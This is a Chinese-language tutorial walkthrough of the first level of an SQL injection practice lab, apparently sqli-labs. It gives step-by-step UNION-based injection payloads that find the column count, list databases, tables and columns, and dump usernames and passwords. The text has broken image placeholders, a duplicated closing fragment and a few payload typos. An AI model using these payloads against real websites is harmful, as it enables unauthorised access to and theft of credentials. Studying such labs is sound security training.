sql注入大体解释
通过构造闭合语句来执行想要执行的命令
第一关
推荐工具 HackBar
为什么不用url输入,做着做着就不知道代码那里出错了,用hackber方便简洁,其实url输入也行
第一步:判断什么型的注入
1.判断是什么型注入就要看给他错误语句是否报错
例如:判断什么型注入直接看1’ and 1=2# 1 and 1=2#那个会报错
详细因为当运行可执行指令中假如程序有错误语句会报错,如果可执行程序中有错误语句但没报错就可以看出来了
我是这么理解的,希望有更好的解释
[外链图片转存失败
,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XI1c3CeV-1621917849450)(file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image002.jpg)]
错误语句回显正确信息
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aWbtfKSM-1621917849454)(file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image004.jpg)]
错误语句不回显正确信息
从这里就可以判断出它是一个字符型注入了
Tips:注释:
#
–+
%23 url编码
第二步:爆破字段
为什么要爆破字段?
因为只有爆破字段我们才知道select后面有几个查询点,在通过union联合查询通过构造闭合语句来进行查看信息
order by 1–+ 然后把1换2.连续换,慢慢试,当使用这条指令出现以下信息就可以知道这道题有三个字段
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t2d6BvXY-1621917849456)(file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image006.jpg)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8QN67IFF-1621917849458)(file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image008.jpg)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KDoryQfP-1621917849460)(file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image010.jpg)]
第三步:构造Union语句查看
\1. -1’ union select 1,2,3–+ 寻找插入点
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-njHoo45W-1621917849462)(file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image012.jpg)]
\2. -1’ union select 1,database(),version()–+ 查看数据库和版本信息
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LA4tmUao-1621917849463)(file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image014.jpg)]
这里我们知道当前数据库名字是 security 版本是5.7.26
3.-这里我们就用到了group_concat()
group_concat():用来处理一对多的查询结果
可以了解以下information_schema数据库,这里不多做解释
-1’ union select 1,group_concat(schema_name).3 from information_schema.schemata–+
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KBcO0UAL-1621917849464)(file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image016.jpg)]
这就获取到我们所有的数据库名称
4.-1’ union select 1,group_concat(table_name),3 from information_schema. where table_schema=“security”–+
获取当前数据库的所有表名
tips 最后面要加”
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-csLmoCIq-1621917849464)(file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image018.jpg)]
5.-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=” security”–+获取所有列名
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-32Sx3NVi-1621917849465)(file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image020.jpg)]
6.-1’ union select 1,group_concat(concat(0x7e,username,password)),3 from security.users–+
获取所有账号和密码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sPd5tBJo-1621917849466)(file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image022.jpg)]
Concat_ws:指定参数之间的分隔符
ecurity.users–+
获取所有账号和密码
[外链图片转存中…(img-sPd5tBJo-1621917849466)]
Concat_ws:指定参数之间的分隔符
至此第一关结束了